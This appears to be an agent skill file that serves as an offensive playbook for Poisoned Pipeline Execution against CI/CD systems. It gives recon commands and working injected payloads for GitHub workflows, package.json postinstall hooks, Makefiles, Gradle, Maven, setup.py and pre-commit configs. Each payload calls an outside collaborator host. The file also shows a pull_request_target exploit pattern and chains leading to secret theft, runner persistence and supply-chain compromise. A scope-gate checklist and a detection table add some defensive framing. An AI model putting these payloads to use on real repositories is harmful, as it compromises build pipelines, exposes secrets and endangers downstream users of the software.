| name | poisoned-pipeline-execution |
| description | Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script","tags":"ci-cd, ppe, pipeline, execution","mitre_attack":"T1195.002, T1199, T1059"} |
Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.
- Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (
Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.
Recon — does the target build untrusted code?
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
Direct PPE — edit the workflow itself
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner"
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
Indirect PPE — edit a file the pipeline calls
package.json scripts
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
Makefile / make test
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
Gradle / Maven
// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
Danger / pre-commit / lint hooks
`curl -s https://<COLLAB>/danger`
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
setup.py / pyproject.toml
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
Test fixtures
conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.
pull_request_target — the dangerous trigger
pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: npm ci && npm test
A fork PR adding an postinstall to package.json now runs with secrets.* available.
Chains
| Chain | Pivot |
|---|
I-PPE in a build script -> printenv -> CI secret -> deploy creds | See cicd-secrets-exfil/SKILL.md |
| D-PPE on protected branch via stale review approval | Push to PR after approval (use dismiss_stale_reviews-misconfigured repos) |
| I-PPE on self-hosted runner | Persistence via cron / systemd; see self-hosted-runner-abuse/SKILL.md |
I-PPE -> push tag / publish package via GITHUB_TOKEN | Downstream supply-chain compromise |
Tools
| Tool | Use |
|---|
gato / gato-x | Scans orgs for PPE-prone workflows, automates fork-PR PoC |
actionlint | Reverse-use: flags pull_request_target + PR-head checkout |
octoscan, zizmor | Static workflow analyzers |
tj-actions/changed-files CVE-2025-30066 | Real-world I-PPE-via-action precedent |
Detection signatures (defender view)
| Signal | Where |
|---|
Edit to .github/workflows/* in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it |
New postinstall / preinstall / prepare in package.json diff | git log -p package.json |
| New outbound network from CI runner during build | egress filtering on runner subnet |
pull_request_target + checkout of head.sha | static lint (zizmor, octoscan) |
Decision gate
- Confirm written scope covers CI/CD testing.
- PoC payload = single DNS / HTTPS beacon, no real secret exfil.
- Open the PR from a clearly-labeled
security-research-* fork; close + delete after capture.
- Never push to protected branches, never publish artifacts, never tag releases.
References
- "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
- Palawan / Cider PPE taxonomy
tj-actions/changed-files incident (Mar 2025) — supply-chain via reused action